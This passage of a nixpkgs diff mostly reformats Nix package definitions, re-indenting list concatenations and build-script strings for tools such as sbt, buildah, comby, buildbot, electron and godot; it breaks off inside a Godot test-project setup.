+            extraArgs = [
+              "--url=https://github.com/gradle/gradle"
+              # Gradle’s .0 releases are tagged as `vX.Y.0`, but the actual
+              # release version omits the `.0`, so we’ll wanto to only capture
+              # the version up but not including the the trailing `.0`.
+              "--version-regex=^v(\\d+\\.\\d+(?:\\.[1-9]\\d?)?)(\\.0)?$"
+            ];
           };
+        };
 
         meta = gradle.meta // {
           # prefer normal gradle/mitm-cache over this wrapper, this wrapper only provides the setup hook
diff --git a/pkgs/development/tools/build-managers/gradle/update-deps.nix b/pkgs/development/tools/build-managers/gradle/update-deps.nix
index 2e03f70df70c..10db28f0fdcb 100644
--- a/pkgs/development/tools/build-managers/gradle/update-deps.nix
+++ b/pkgs/development/tools/build-managers/gradle/update-deps.nix
@@ -68,7 +68,8 @@ lib.makeOverridable (
     # see pkgs/common-updater/combinators.nix
     derivationArgs.passthru = {
       supportedFeatures = lib.optional silent "silent";
-    } // lib.optionalAttrs (attrPath != null) { inherit attrPath; };
+    }
+    // lib.optionalAttrs (attrPath != null) { inherit attrPath; };
     text = ''
       #!${runtimeShell}
       set -eo pipefail
diff --git a/pkgs/development/tools/build-managers/sbt/scala-native.nix b/pkgs/development/tools/build-managers/sbt/scala-native.nix
index 86df0b139612..012b5507494c 100644
--- a/pkgs/development/tools/build-managers/sbt/scala-native.nix
+++ b/pkgs/development/tools/build-managers/sbt/scala-native.nix
@@ -12,30 +12,28 @@
 sbt.overrideAttrs (previousAttrs: {
   nativeBuildInputs = (previousAttrs.nativeBuildInputs or [ ]) ++ [ makeWrapper ];
 
-  postFixup =
-    (previousAttrs.postFixup or "")
-    + ''
-      wrapProgram $out/bin/sbt \
-        --set CLANG_PATH      "${llvmPackages.clang}/bin/clang" \
-        --set CLANGPP_PATH    "${llvmPackages.clang}/bin/clang" \
-        --set CPATH           "${
-          lib.makeSearchPathOutput "dev" "include" [
-            re2
-            zlib
-            boehmgc
-            libunwind
-            llvmPackages.libcxx
-          ]
-        }/c++/v1" \
-        --set LIBRARY_PATH    "${
-          lib.makeLibraryPath [
-            re2
-            zlib
-            boehmgc
-            libunwind
-            llvmPackages.libcxx
-          ]
-        }" \
-        --set NIX_CFLAGS_LINK "-lc++"
-    '';
+  postFixup = (previousAttrs.postFixup or "") + ''
+    wrapProgram $out/bin/sbt \
+      --set CLANG_PATH      "${llvmPackages.clang}/bin/clang" \
+      --set CLANGPP_PATH    "${llvmPackages.clang}/bin/clang" \
+      --set CPATH           "${
+        lib.makeSearchPathOutput "dev" "include" [
+          re2
+          zlib
+          boehmgc
+          libunwind
+          llvmPackages.libcxx
+        ]
+      }/c++/v1" \
+      --set LIBRARY_PATH    "${
+        lib.makeLibraryPath [
+          re2
+          zlib
+          boehmgc
+          libunwind
+          llvmPackages.libcxx
+        ]
+      }" \
+      --set NIX_CFLAGS_LINK "-lc++"
+  '';
 })
diff --git a/pkgs/development/tools/buildah/default.nix b/pkgs/development/tools/buildah/default.nix
index 38dff810651d..a62165800867 100644
--- a/pkgs/development/tools/buildah/default.nix
+++ b/pkgs/development/tools/buildah/default.nix
@@ -45,17 +45,16 @@ buildGoModule rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      gpgme
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      btrfs-progs
-      libapparmor
-      libseccomp
-      libselinux
-      lvm2
-    ];
+  buildInputs = [
+    gpgme
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    btrfs-progs
+    libapparmor
+    libseccomp
+    libselinux
+    lvm2
+  ];
 
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/development/tools/buildah/wrapper.nix b/pkgs/development/tools/buildah/wrapper.nix
index 9da8c022ac76..1bea128830d7 100644
--- a/pkgs/development/tools/buildah/wrapper.nix
+++ b/pkgs/development/tools/buildah/wrapper.nix
@@ -38,14 +38,13 @@ let
     name = "${buildah-unwrapped.pname}-helper-binary-wrapper-${buildah-unwrapped.version}";
 
     # this only works for some binaries, others may need to be added to `binPath` or in the modules
-    paths =
-      [
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        aardvark-dns
-        netavark
-        passt
-      ];
+    paths = [
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      aardvark-dns
+      netavark
+      passt
+    ];
   };
 
 in
diff --git a/pkgs/development/tools/comby/default.nix b/pkgs/development/tools/comby/default.nix
index ad072ca9ce3f..2d4d2773dd1e 100644
--- a/pkgs/development/tools/comby/default.nix
+++ b/pkgs/development/tools/comby/default.nix
@@ -48,7 +48,8 @@ let
         ocamlPackages.ppx_deriving_yojson
         ocamlPackages.ppx_sexp_conv
         ocamlPackages.ppx_sexp_message
-      ] ++ extraBuildInputs;
+      ]
+      ++ extraBuildInputs;
 
       nativeCheckInputs = [ cacert ];
 
@@ -79,36 +80,35 @@ mkCombyPackage {
     rm test/common/{test_cli_list,test_cli_helper,test_cli}.ml
   '';
 
-  extraBuildInputs =
-    [
-      zlib
-      gmp
-      libev
-      sqlite
-      ocamlPackages.shell # This input must appear before `parany` or any other input that propagates `ocamlnet`
-      ocamlPackages.lwt
-      ocamlPackages.patience_diff
-      ocamlPackages.toml
-      ocamlPackages.cohttp-lwt-unix
-      ocamlPackages.textutils
-      ocamlPackages.jst-config
-      ocamlPackages.parany
-      ocamlPackages.conduit-lwt-unix
-      ocamlPackages.lwt_react
-      ocamlPackages.tar-unix
-      ocamlPackages.tls
-      ocamlPackages.ppx_jane
-      ocamlPackages.ppx_expect
-      ocamlPackages.dune-configurator
-      combyKernel
-      combySemantic
-    ]
-    ++ (
-      if !stdenv.hostPlatform.isAarch32 && !stdenv.hostPlatform.isAarch64 then
-        [ ocamlPackages.hack_parallel ]
-      else
-        [ ]
-    );
+  extraBuildInputs = [
+    zlib
+    gmp
+    libev
+    sqlite
+    ocamlPackages.shell # This input must appear before `parany` or any other input that propagates `ocamlnet`
+    ocamlPackages.lwt
+    ocamlPackages.patience_diff
+    ocamlPackages.toml
+    ocamlPackages.cohttp-lwt-unix
+    ocamlPackages.textutils
+    ocamlPackages.jst-config
+    ocamlPackages.parany
+    ocamlPackages.conduit-lwt-unix
+    ocamlPackages.lwt_react
+    ocamlPackages.tar-unix
+    ocamlPackages.tls
+    ocamlPackages.ppx_jane
+    ocamlPackages.ppx_expect
+    ocamlPackages.dune-configurator
+    combyKernel
+    combySemantic
+  ]
+  ++ (
+    if !stdenv.hostPlatform.isAarch32 && !stdenv.hostPlatform.isAarch64 then
+      [ ocamlPackages.hack_parallel ]
+    else
+      [ ]
+  );
 
   extraNativeInputs = [
     autoconf
diff --git a/pkgs/development/tools/continuous-integration/buildbot/master.nix b/pkgs/development/tools/continuous-integration/buildbot/master.nix
index 22fbbd4f7260..d3b35de6b63b 100644
--- a/pkgs/development/tools/continuous-integration/buildbot/master.nix
+++ b/pkgs/development/tools/continuous-integration/buildbot/master.nix
@@ -94,31 +94,30 @@ buildPythonApplication rec {
     "twisted"
   ];
 
-  propagatedBuildInputs =
-    [
-      # core
-      twisted
-      jinja2
-      msgpack
-      zope-interface
-      sqlalchemy
-      alembic
-      python-dateutil
-      txaio
-      autobahn
-      pyjwt
-      pyyaml
-      setuptools
-      croniter
-      importlib-resources
-      packaging
-      unidiff
-      treq
-      brotli
-      zstandard
-    ]
-    # tls
-    ++ twisted.optional-dependencies.tls;
+  propagatedBuildInputs = [
+    # core
+    twisted
+    jinja2
+    msgpack
+    zope-interface
+    sqlalchemy
+    alembic
+    python-dateutil
+    txaio
+    autobahn
+    pyjwt
+    pyyaml
+    setuptools
+    croniter
+    importlib-resources
+    packaging
+    unidiff
+    treq
+    brotli
+    zstandard
+  ]
+  # tls
+  ++ twisted.optional-dependencies.tls;
 
   nativeCheckInputs = [
     treq
@@ -156,16 +155,15 @@ buildPythonApplication rec {
     export PATH="$out/bin:$PATH"
   '';
 
-  passthru =
-    {
-      inherit withPlugins python;
-      updateScript = ./update.sh;
-    }
-    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-      tests = {
-        inherit (nixosTests) buildbot;
-      };
+  passthru = {
+    inherit withPlugins python;
+    updateScript = ./update.sh;
+  }
+  // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+    tests = {
+      inherit (nixosTests) buildbot;
     };
+  };
 
   meta = with lib; {
     description = "Open-source continuous integration framework for automating software build, test, and release processes";
diff --git a/pkgs/development/tools/continuous-integration/hercules-ci-agent/default.nix b/pkgs/development/tools/continuous-integration/hercules-ci-agent/default.nix
index 0fd5e62e414e..84b63e689f9f 100644
--- a/pkgs/development/tools/continuous-integration/hercules-ci-agent/default.nix
+++ b/pkgs/development/tools/continuous-integration/hercules-ci-agent/default.nix
@@ -20,7 +20,8 @@ let
     gzip
     git
     openssh
-  ] ++ lib.optional stdenv.hostPlatform.isLinux crun;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux crun;
 
   pkg =
     # justStaticExecutables is needed due to https://github.com/NixOS/nix/issues/2990
@@ -43,50 +44,49 @@ pkg.overrideAttrs (
       position = toString ./default.nix + ":1";
     };
     passthru = o.passthru // {
-      tests =
-        {
-          version = testers.testVersion {
-            package = finalAttrs.finalPackage;
-            command = "hercules-ci-agent --help";
-          };
-        }
-        // lib.optionalAttrs (stdenv.hostPlatform.isLinux) {
-          # Does not test the package, but evaluation of the related NixOS module.
-          nixos-simple-config =
-            (nixos {
+      tests = {
+        version = testers.testVersion {
+          package = finalAttrs.finalPackage;
+          command = "hercules-ci-agent --help";
+        };
+      }
+      // lib.optionalAttrs (stdenv.hostPlatform.isLinux) {
+        # Does not test the package, but evaluation of the related NixOS module.
+        nixos-simple-config =
+          (nixos {
+            boot.loader.grub.enable = false;
+            fileSystems."/".device = "bogus";
+            services.hercules-ci-agent.enable = true;
+            # Dummy value for testing only.
+            system.stateVersion = lib.trivial.release; # TEST ONLY
+          }).config.system.build.toplevel;
+
+        nixos-many-options-config =
+          (nixos (
+            { pkgs, ... }:
+            {
               boot.loader.grub.enable = false;
               fileSystems."/".device = "bogus";
-              services.hercules-ci-agent.enable = true;
+              services.hercules-ci-agent = {
+                enable = true;
+                package = pkgs.hercules-ci-agent;
+                settings = {
+                  workDirectory = "/var/tmp/hci";
+                  binaryCachesPath = "/var/keys/binary-caches.json";
+                  labels.foo.bar.baz = "qux";
+                  labels.qux = [
+                    "q"
+                    "u"
+                  ];
+                  apiBaseUrl = "https://hci.dev.biz.example.com";
+                  concurrentTasks = 42;
+                };
+              };
               # Dummy value for testing only.
               system.stateVersion = lib.trivial.release; # TEST ONLY
-            }).config.system.build.toplevel;
-
-          nixos-many-options-config =
-            (nixos (
-              { pkgs, ... }:
-              {
-                boot.loader.grub.enable = false;
-                fileSystems."/".device = "bogus";
-                services.hercules-ci-agent = {
-                  enable = true;
-                  package = pkgs.hercules-ci-agent;
-                  settings = {
-                    workDirectory = "/var/tmp/hci";
-                    binaryCachesPath = "/var/keys/binary-caches.json";
-                    labels.foo.bar.baz = "qux";
-                    labels.qux = [
-                      "q"
-                      "u"
-                    ];
-                    apiBaseUrl = "https://hci.dev.biz.example.com";
-                    concurrentTasks = 42;
-                  };
-                };
-                # Dummy value for testing only.
-                system.stateVersion = lib.trivial.release; # TEST ONLY
-              }
-            )).config.system.build.toplevel;
-        };
+            }
+          )).config.system.build.toplevel;
+      };
     };
   }
 )
diff --git a/pkgs/development/tools/database/sqlitebrowser/default.nix b/pkgs/development/tools/database/sqlitebrowser/default.nix
index 3f578ceb211f..5a39d5126526 100644
--- a/pkgs/development/tools/database/sqlitebrowser/default.nix
+++ b/pkgs/development/tools/database/sqlitebrowser/default.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     qtbase
     sqlcipher
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin qtmacextras;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin qtmacextras;
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/development/tools/devpi-server/default.nix b/pkgs/development/tools/devpi-server/default.nix
index 4fcaf9aa09c3..07156c1656e7 100644
--- a/pkgs/development/tools/devpi-server/default.nix
+++ b/pkgs/development/tools/devpi-server/default.nix
@@ -73,7 +73,8 @@ buildPythonApplication rec {
     waitress
     py
     httpx
-  ] ++ passlib.optional-dependencies.argon2;
+  ]
+  ++ passlib.optional-dependencies.argon2;
 
   nativeCheckInputs = [
     beautifulsoup4
diff --git a/pkgs/development/tools/devpod/default.nix b/pkgs/development/tools/devpod/default.nix
index db37f9aded68..23e4f5833ab2 100644
--- a/pkgs/development/tools/devpod/default.nix
+++ b/pkgs/development/tools/devpod/default.nix
@@ -108,35 +108,33 @@ let
       ./exit-update-checker-loop.patch
     ];
 
-    postPatch =
-      ''
-        ln -s ${lib.getExe devpod} src-tauri/bin/devpod-cli-${stdenv.hostPlatform.rust.rustcTarget}
+    postPatch = ''
+      ln -s ${lib.getExe devpod} src-tauri/bin/devpod-cli-${stdenv.hostPlatform.rust.rustcTarget}
 
-        # disable upstream updater
-        jq '.plugins.updater.endpoints = [ ] | .bundle.createUpdaterArtifacts = false' src-tauri/tauri.conf.json \
-          | sponge src-tauri/tauri.conf.json
-      ''
-      + lib.optionalString stdenv.hostPlatform.isLinux ''
-        substituteInPlace $cargoDepsCopy/libappindicator-sys-*/src/lib.rs \
-          --replace-fail "libayatana-appindicator3.so.1" "${libayatana-appindicator}/lib/libayatana-appindicator3.so.1"
-      '';
+      # disable upstream updater
+      jq '.plugins.updater.endpoints = [ ] | .bundle.createUpdaterArtifacts = false' src-tauri/tauri.conf.json \
+        | sponge src-tauri/tauri.conf.json
+    ''
+    + lib.optionalString stdenv.hostPlatform.isLinux ''
+      substituteInPlace $cargoDepsCopy/libappindicator-sys-*/src/lib.rs \
+        --replace-fail "libayatana-appindicator3.so.1" "${libayatana-appindicator}/lib/libayatana-appindicator3.so.1"
+    '';
 
-    nativeBuildInputs =
-      [
-        cargo-tauri.hook
-        jq
-        moreutils
-        nodejs
-        yarnConfigHook
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        desktop-file-utils
-        pkg-config
-        wrapGAppsHook3
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        makeBinaryWrapper
-      ];
+    nativeBuildInputs = [
+      cargo-tauri.hook
+      jq
+      moreutils
+      nodejs
+      yarnConfigHook
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      desktop-file-utils
+      pkg-config
+      wrapGAppsHook3
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      makeBinaryWrapper
+    ];
 
     buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
       glib-networking
diff --git a/pkgs/development/tools/documentation/doxygen/default.nix b/pkgs/development/tools/documentation/doxygen/default.nix
index 0282e63f6b18..3ac684f49044 100644
--- a/pkgs/development/tools/documentation/doxygen/default.nix
+++ b/pkgs/development/tools/documentation/doxygen/default.nix
@@ -38,24 +38,24 @@ stdenv.mkDerivation (finalAttrs: {
     bison
   ];
 
-  buildInputs =
+  buildInputs = [
+    libiconv
+    spdlog
+    sqlite
+  ]
+  ++ lib.optionals (qt5 != null) (
+    with qt5;
     [
-      libiconv
-      spdlog
-      sqlite
+      qtbase
+      wrapQtAppsHook
     ]
-    ++ lib.optionals (qt5 != null) (
-      with qt5;
-      [
-        qtbase
-        wrapQtAppsHook
-      ]
-    );
+  );
 
   cmakeFlags = [
     "-Duse_sys_spdlog=ON"
     "-Duse_sys_sqlite3=ON"
-  ] ++ lib.optional (qt5 != null) "-Dbuild_wizard=YES";
+  ]
+  ++ lib.optional (qt5 != null) "-Dbuild_wizard=YES";
 
   # put examples in an output so people/tools can test against them
   outputs = [
diff --git a/pkgs/development/tools/electron/common.nix b/pkgs/development/tools/electron/common.nix
index ef9111ed5c00..fcdfaf27bb2d 100644
--- a/pkgs/development/tools/electron/common.nix
+++ b/pkgs/development/tools/electron/common.nix
@@ -95,91 +95,89 @@ in
 
   npmRoot = "third_party/node";
 
-  postPatch =
-    ''
-      mkdir -p third_party/jdk/current/bin
+  postPatch = ''
+    mkdir -p third_party/jdk/current/bin
 
-      echo 'build_with_chromium = true' >> build/config/gclient_args.gni
-      echo 'checkout_google_benchmark = false' >> build/config/gclient_args.gni
-      echo 'checkout_android = false' >> build/config/gclient_args.gni
-      echo 'checkout_android_prebuilts_build_tools = false' >> build/config/gclient_args.gni
-      echo 'checkout_android_native_support = false' >> build/config/gclient_args.gni
-      echo 'checkout_ios_webkit = false' >> build/config/gclient_args.gni
-      echo 'checkout_nacl = false' >> build/config/gclient_args.gni
-      echo 'checkout_openxr = false' >> build/config/gclient_args.gni
-      echo 'checkout_rts_model = false' >> build/config/gclient_args.gni
-      echo 'checkout_src_internal = false' >> build/config/gclient_args.gni
-      echo 'cros_boards = ""' >> build/config/gclient_args.gni
-      echo 'cros_boards_with_qemu_images = ""' >> build/config/gclient_args.gni
-      echo 'generate_location_tags = true' >> build/config/gclient_args.gni
+    echo 'build_with_chromium = true' >> build/config/gclient_args.gni
+    echo 'checkout_google_benchmark = false' >> build/config/gclient_args.gni
+    echo 'checkout_android = false' >> build/config/gclient_args.gni
+    echo 'checkout_android_prebuilts_build_tools = false' >> build/config/gclient_args.gni
+    echo 'checkout_android_native_support = false' >> build/config/gclient_args.gni
+    echo 'checkout_ios_webkit = false' >> build/config/gclient_args.gni
+    echo 'checkout_nacl = false' >> build/config/gclient_args.gni
+    echo 'checkout_openxr = false' >> build/config/gclient_args.gni
+    echo 'checkout_rts_model = false' >> build/config/gclient_args.gni
+    echo 'checkout_src_internal = false' >> build/config/gclient_args.gni
+    echo 'cros_boards = ""' >> build/config/gclient_args.gni
+    echo 'cros_boards_with_qemu_images = ""' >> build/config/gclient_args.gni
+    echo 'generate_location_tags = true' >> build/config/gclient_args.gni
 
-      echo 'LASTCHANGE=${info.deps."src".args.tag}-refs/heads/master@{#0}' > build/util/LASTCHANGE
-      echo "$SOURCE_DATE_EPOCH" > build/util/LASTCHANGE.committime
+    echo 'LASTCHANGE=${info.deps."src".args.tag}-refs/heads/master@{#0}' > build/util/LASTCHANGE
+    echo "$SOURCE_DATE_EPOCH" > build/util/LASTCHANGE.committime
 
-      cat << EOF > gpu/config/gpu_lists_version.h
-      /* Generated by lastchange.py, do not edit.*/
-      #ifndef GPU_CONFIG_GPU_LISTS_VERSION_H_
-      #define GPU_CONFIG_GPU_LISTS_VERSION_H_
-      #define GPU_LISTS_VERSION "${info.deps."src".args.tag}"
-      #endif  // GPU_CONFIG_GPU_LISTS_VERSION_H_
-      EOF
+    cat << EOF > gpu/config/gpu_lists_version.h
+    /* Generated by lastchange.py, do not edit.*/
+    #ifndef GPU_CONFIG_GPU_LISTS_VERSION_H_
+    #define GPU_CONFIG_GPU_LISTS_VERSION_H_
+    #define GPU_LISTS_VERSION "${info.deps."src".args.tag}"
+    #endif  // GPU_CONFIG_GPU_LISTS_VERSION_H_
+    EOF
 
-      cat << EOF > skia/ext/skia_commit_hash.h
-      /* Generated by lastchange.py, do not edit.*/
-      #ifndef SKIA_EXT_SKIA_COMMIT_HASH_H_
-      #define SKIA_EXT_SKIA_COMMIT_HASH_H_
-      #define SKIA_COMMIT_HASH "${info.deps."src/third_party/skia".args.rev}-"
-      #endif  // SKIA_EXT_SKIA_COMMIT_HASH_H_
-      EOF
+    cat << EOF > skia/ext/skia_commit_hash.h
+    /* Generated by lastchange.py, do not edit.*/
+    #ifndef SKIA_EXT_SKIA_COMMIT_HASH_H_
+    #define SKIA_EXT_SKIA_COMMIT_HASH_H_
+    #define SKIA_COMMIT_HASH "${info.deps."src/third_party/skia".args.rev}-"
+    #endif  // SKIA_EXT_SKIA_COMMIT_HASH_H_
+    EOF
 
-      echo -n '${info.deps."src/third_party/dawn".args.rev}' > gpu/webgpu/DAWN_VERSION
+    echo -n '${info.deps."src/third_party/dawn".args.rev}' > gpu/webgpu/DAWN_VERSION
 
-      (
-        cd electron
-        export HOME=$TMPDIR/fake_home
-        yarn config --offline set yarn-offline-mirror $electronOfflineCache
-        fixup-yarn-lock yarn.lock
-        yarn install --offline --frozen-lockfile --ignore-scripts --no-progress --non-interactive
-      )
+    (
+      cd electron
+      export HOME=$TMPDIR/fake_home
+      yarn config --offline set yarn-offline-mirror $electronOfflineCache
+      fixup-yarn-lock yarn.lock
+      yarn install --offline --frozen-lockfile --ignore-scripts --no-progress --non-interactive
+    )
 
-      (
-        cd ..
-        PATH=$PATH:${
-          lib.makeBinPath (
-            with pkgsBuildHost;
-            [
-              jq
-              git
-            ]
-          )
-        }
-        config=src/electron/patches/config.json
-        for entry in $(cat $config | jq -c ".[]")
+    (
+      cd ..
+      PATH=$PATH:${
+        lib.makeBinPath (
+          with pkgsBuildHost;
+          [
+            jq
+            git
+          ]
+        )
+      }
+      config=src/electron/patches/config.json
+      for entry in $(cat $config | jq -c ".[]")
+      do
+        patch_dir=$(echo $entry | jq -r ".patch_dir")
+        repo=$(echo $entry | jq -r ".repo")
+        for patch in $(cat $patch_dir/.patches)
         do
-          patch_dir=$(echo $entry | jq -r ".patch_dir")
-          repo=$(echo $entry | jq -r ".repo")
-          for patch in $(cat $patch_dir/.patches)
-          do
-            echo applying in $repo: $patch
-            git apply -p1 --directory=$repo --exclude='src/third_party/blink/web_tests/*' --exclude='src/content/test/data/*' $patch_dir/$patch
-          done
+          echo applying in $repo: $patch
+          git apply -p1 --directory=$repo --exclude='src/third_party/blink/web_tests/*' --exclude='src/content/test/data/*' $patch_dir/$patch
         done
-      )
-    ''
-    + lib.optionalString (lib.versionAtLeast info.version "36") ''
-      echo 'checkout_glic_e2e_tests = false' >> build/config/gclient_args.gni
-      echo 'checkout_mutter = false' >> build/config/gclient_args.gni
-    ''
-    + base.postPatch;
+      done
+    )
+  ''
+  + lib.optionalString (lib.versionAtLeast info.version "36") ''
+    echo 'checkout_glic_e2e_tests = false' >> build/config/gclient_args.gni
+    echo 'checkout_mutter = false' >> build/config/gclient_args.gni
+  ''
+  + base.postPatch;
 
-  preConfigure =
-    ''
-      (
-        cd third_party/node
-        grep patch update_npm_deps | sh
-      )
-    ''
-    + (base.preConfigure or "");
+  preConfigure = ''
+    (
+      cd third_party/node
+      grep patch update_npm_deps | sh
+    )
+  ''
+  + (base.preConfigure or "");
 
   gnFlags = rec {
     # build/args/release.gn
diff --git a/pkgs/development/tools/godot/3/default.nix b/pkgs/development/tools/godot/3/default.nix
index ca22c59c401a..c711aeda47bf 100644
--- a/pkgs/development/tools/godot/3/default.nix
+++ b/pkgs/development/tools/godot/3/default.nix
@@ -110,10 +110,11 @@ stdenv.mkDerivation (self: {
   shouldInstallHeaders = self.shouldBuildTools;
   shouldInstallShortcut = self.shouldBuildTools && self.godotBuildPlatform != "server";
 
-  outputs =
-    [ "out" ]
-    ++ lib.optional self.shouldInstallManual "man"
-    ++ lib.optional self.shouldBuildTools "dev";
+  outputs = [
+    "out"
+  ]
+  ++ lib.optional self.shouldInstallManual "man"
+  ++ lib.optional self.shouldBuildTools "dev";
 
   builtGodotBinNamePattern =
     if self.godotBuildPlatform == "server" then "godot_server.*" else "godot.*";
diff --git a/pkgs/development/tools/godot/common.nix b/pkgs/development/tools/godot/common.nix
index 40a4682bfd00..b67e8ebd4b5e 100644
--- a/pkgs/development/tools/godot/common.nix
+++ b/pkgs/development/tools/godot/common.nix
@@ -116,7 +116,8 @@ let
 
       outputs = [
         "out"
-      ] ++ lib.optional (editor) "man";
+      ]
+      ++ lib.optional (editor) "man";
       separateDebugInfo = true;
 
       # Set the build name which is part of the version. In official downloads, this
@@ -244,18 +245,17 @@ let
         ]
         ++ lib.optional withUdev udev;
 
-      nativeBuildInputs =
-        [
-          installShellFiles
-          perl
-          pkg-config
-          scons
-        ]
-        ++ lib.optionals withWayland [ wayland-scanner ]
-        ++ lib.optionals withMono [
-          dotnet-sdk
-          makeWrapper
-        ];
+      nativeBuildInputs = [
+        installShellFiles
+        perl
+        pkg-config
+        scons
+      ]
+      ++ lib.optionals withWayland [ wayland-scanner ]
+      ++ lib.optionals withMono [
+        dotnet-sdk
+        makeWrapper
+      ];
 
       postBuild = lib.optionalString (editor && withMono) ''
         echo "Generating Glue"
@@ -264,285 +264,283 @@ let
         python modules/mono/build_scripts/build_assemblies.py --godot-output-dir bin --precision=${withPrecision}
       '';
 
-      installPhase =
-        ''
-          runHook preInstall
+      installPhase = ''
+        runHook preInstall
 
-          mkdir -p "$out"/{bin,libexec}
-          cp -r bin/* "$out"/libexec
+        mkdir -p "$out"/{bin,libexec}
+        cp -r bin/* "$out"/libexec
 
-          cd "$out"/bin
-          ln -s ../libexec/${binary} godot${lib.versions.majorMinor version}${suffix}
-          ln -s godot${lib.versions.majorMinor version}${suffix} godot${lib.versions.major version}${suffix}
-          ln -s godot${lib.versions.major version}${suffix} godot${suffix}
-          cd -
-        ''
-        + (
-          if editor then
-            ''
-              installManPage misc/dist/linux/godot.6
+        cd "$out"/bin
+        ln -s ../libexec/${binary} godot${lib.versions.majorMinor version}${suffix}
+        ln -s godot${lib.versions.majorMinor version}${suffix} godot${lib.versions.major version}${suffix}
+        ln -s godot${lib.versions.major version}${suffix} godot${suffix}
+        cd -
+      ''
+      + (
+        if editor then
+          ''
+            installManPage misc/dist/linux/godot.6
 
-              mkdir -p "$out"/share/{applications,icons/hicolor/scalable/apps}
-              cp misc/dist/linux/org.godotengine.Godot.desktop "$out/share/applications/org.godotengine.Godot${lib.versions.majorMinor version}${suffix}.desktop"
-              substituteInPlace "$out/share/applications/org.godotengine.Godot${lib.versions.majorMinor version}${suffix}.desktop" \
-                --replace "Exec=godot" "Exec=$out/bin/godot${suffix}" \
-                --replace "Godot Engine" "Godot Engine ${
-                  lib.versions.majorMinor version + lib.optionalString withMono " (Mono)"
-                }"
-              cp icon.svg "$out/share/icons/hicolor/scalable/apps/godot.svg"
-              cp icon.png "$out/share/icons/godot.png"
-            ''
-            + lib.optionalString withMono ''
-              mkdir -p "$out"/share/nuget
-              mv "$out"/libexec/GodotSharp/Tools/nupkgs "$out"/share/nuget/source
+            mkdir -p "$out"/share/{applications,icons/hicolor/scalable/apps}
+            cp misc/dist/linux/org.godotengine.Godot.desktop "$out/share/applications/org.godotengine.Godot${lib.versions.majorMinor version}${suffix}.desktop"
+            substituteInPlace "$out/share/applications/org.godotengine.Godot${lib.versions.majorMinor version}${suffix}.desktop" \
+              --replace "Exec=godot" "Exec=$out/bin/godot${suffix}" \
+              --replace "Godot Engine" "Godot Engine ${
+                lib.versions.majorMinor version + lib.optionalString withMono " (Mono)"
+              }"
+            cp icon.svg "$out/share/icons/hicolor/scalable/apps/godot.svg"
+            cp icon.png "$out/share/icons/godot.png"
+          ''
+          + lib.optionalString withMono ''
+            mkdir -p "$out"/share/nuget
+            mv "$out"/libexec/GodotSharp/Tools/nupkgs "$out"/share/nuget/source
 
-              wrapProgram $out/libexec/${binary} \
-                --set DOTNET_ROOT ${dotnet-sdk}/share/dotnet \
-                --prefix PATH : "${
-                  lib.makeBinPath [
-                    dotnet-sdk
-                  ]
-                }"
-            ''
-          else
-            let
-              template =
-                (lib.replaceStrings
-                  [ "template" ]
-                  [
-                    {
-                      linuxbsd = "linux";
-                    }
-                    .${withPlatform}
-                  ]
-                  target
-                )
-                + "."
-                + arch;
-            in
-            ''
-              templates="$out"/share/godot/export_templates/${dottedVersion}
-              mkdir -p "$templates"
-              ln -s "$out"/libexec/${binary} "$templates"/${template}
-            ''
-        )
-        + ''
-          runHook postInstall
-        '';
+            wrapProgram $out/libexec/${binary} \
+              --set DOTNET_ROOT ${dotnet-sdk}/share/dotnet \
+              --prefix PATH : "${
+                lib.makeBinPath [
+                  dotnet-sdk
+                ]
+              }"
+          ''
+        else
+          let
+            template =
+              (lib.replaceStrings
+                [ "template" ]
+                [
+                  {
+                    linuxbsd = "linux";
+                  }
+                  .${withPlatform}
+                ]
+                target
+              )
+              + "."
+              + arch;
+          in
+          ''
+            templates="$out"/share/godot/export_templates/${dottedVersion}
+            mkdir -p "$templates"
+            ln -s "$out"/libexec/${binary} "$templates"/${template}
+          ''
+      )
+      + ''
+        runHook postInstall
+      '';
 
-      passthru =
-        {
-          inherit updateScript;
+      passthru = {
+        inherit updateScript;
 
-          tests =
-            {
-              version = testers.testVersion {
-                package = finalAttrs.finalPackage;
-                version = dottedVersion;
-              };
-            }
-            // lib.optionalAttrs (editor) (
-              let
-                pkg = finalAttrs.finalPackage;
-
-                project-src = runCommand "${pkg.name}-project-src" { } (
-                  ''
-                    mkdir "$out"
-                    cd "$out"
-                    touch project.godot
-
-                    cat >create-scene.gd <<'EOF'
-                    extends SceneTree
-
-                    func _initialize():
-                      var node = Node.new()
-                      var script = ResourceLoader.load("res://test.gd")
-                      node.set_script(script)
-                  ''
-                  + lib.optionalString withMono ''
-                    ${""}
-                      var monoNode = Node.new()
-                      var monoScript = ResourceLoader.load("res://Test.cs")
-                      monoNode.set_script(monoScript)
-                      node.add_child(monoNode)
-                      monoNode.owner = node
-                  ''
-                  + ''
-                      var scene = PackedScene.new()
-                      var scenePath = "res://test.tscn"
-                      scene.pack(node)
-                      node.free()
-                      var x = ResourceSaver.save(scene, scenePath)
-                      ProjectSettings["application/run/main_scene"] = scenePath
-                      ProjectSettings.save()
-                      quit()
-                    EOF
-
-                    cat >test.gd <<'EOF'
-                    extends Node
-                    func _ready():
-                      print("Hello, World!")
-                      get_tree().quit()
-                    EOF
-
-                    cat >export_presets.cfg <<'EOF'
-                    [preset.0]
-                    name="build"
-                    platform="Linux"
-                    runnable=true
-                    export_filter="all_resources"
-                    include_filter=""
-                    exclude_filter=""
-                    [preset.0.options]
-                    binary_format/architecture="${arch}"
-                    EOF
-                  ''
-                  + lib.optionalString withMono ''
